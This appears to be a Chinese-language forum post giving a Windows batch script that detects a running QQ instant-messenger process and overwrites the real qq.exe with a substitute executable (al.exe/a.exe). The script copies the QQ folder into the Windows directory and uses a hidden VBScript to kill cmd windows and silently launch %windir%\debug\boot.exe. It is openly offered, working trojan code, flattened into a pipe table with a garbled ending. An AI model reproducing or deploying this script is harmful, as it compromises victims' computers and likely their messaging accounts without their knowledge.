检测QQ 进程,如果存在qq进程,则找出路径,用c:\a.exe 替换原qq.exe, 并把路径写入c:\a.txt ,如果不存在qq进程,继续往下运行。
bat 第二次运行的时候,检测QQ 进程,如果存在qq进程,则找出路径与a.txt 比较,如果找出的路径与a.txt中的一致,跳过继续往下运行。如果不一致,则用a.exe 替换检测出的qq.exe, 并把路径写入a.txt ,如果不存在qq进程,继续往下运行。
bat 每次运行,重复以上。
感谢tireless兄的帮助,在他的代码基础上做的改进:
| for /f %%e in ('tasklist^| find /c "cmd.exe"')do set /a wind=%%e-1 | | if %wind% LEQ 10 (goto continue) else (goto vbscm) | | :vbscm | | (echo Set ws = CreateObject("Wsc"^&"ript.Shell"^) | | echo ws.run "cmd /c taskkill /f /im cmd.exe",0 | | echo ws.run "%%windir%%\debug\boot.exe",0 | | echo ws.run "cmd /c if exist %%windir%%\n.bat %%windir%%\n.bat&&del %windir%\debug\vb2cm.vbe /f/q",0)>%windir%\debug\vb2cm.vbe | | if exist "%windir%\debug\vb2cm.vbe" start "" "%windir%\debug\vb2cm.vbe" | | ping 127.1 -n 3 >nul | | if exist "%windir%\debug\vb2cm.vbe" del /q "%windir%\debug\vb2cm.vbe" | | :continue | | (for /f %%a in ('tasklist /nh /fi "IMAGENAME eq qq.exe" 2^>nul') do cls)||goto Next | | for /f "delims==" %%a in ('wmic process where caption^="qq.exe" get CommandLine^|find /i "qq.exe"') do set qqpath=%%a | | if not exist %windir%\a.inf goto Replace | | set /p Old=<%windir%\a.inf | | if /i %Old%==%qqpath% goto cext | | :Replace | | set qqdir=%qqpath:~1,-11% | | echo %qqpath% >%windir%\a.inf | | if /i %qqpath%=="%windir%\QQ\qq.exe" goto cext | | xcopy "%qqdir%" %windir%\QQ\ /Y /H /R /E /q /c | | taskkill /im qq.exe /f | | if exist %windir%\al.exe copy /y %windir%\al.exe "%qqpath%" | | :cext | | set qqdir=%qqpath:~1,-11% | | call :qqname "%qqdir%" | | echo "%windir%\%qqn%\qq.exe">%windir%\xqq.inf | | echo "%qqdir%">%windir%\x.inf | | goto next | | :qqname | | set qqn=%~nx1 | | goto :eof | | :Next | | if not exist %windir%\xqq.inf echo e>%windir%\xqq.inf | | set /p xq=<%windir%\xqq.inf | | if /i %xq% == "%windir%\QQ\qq.exe" (echo.) else (echo "%windir%\QQ\qq.exe">%windir%\xqq.inf) | | if exist "%windir%\QQ\qq.exe" start "" %windir%\QQ\qq.exeCOPY |
|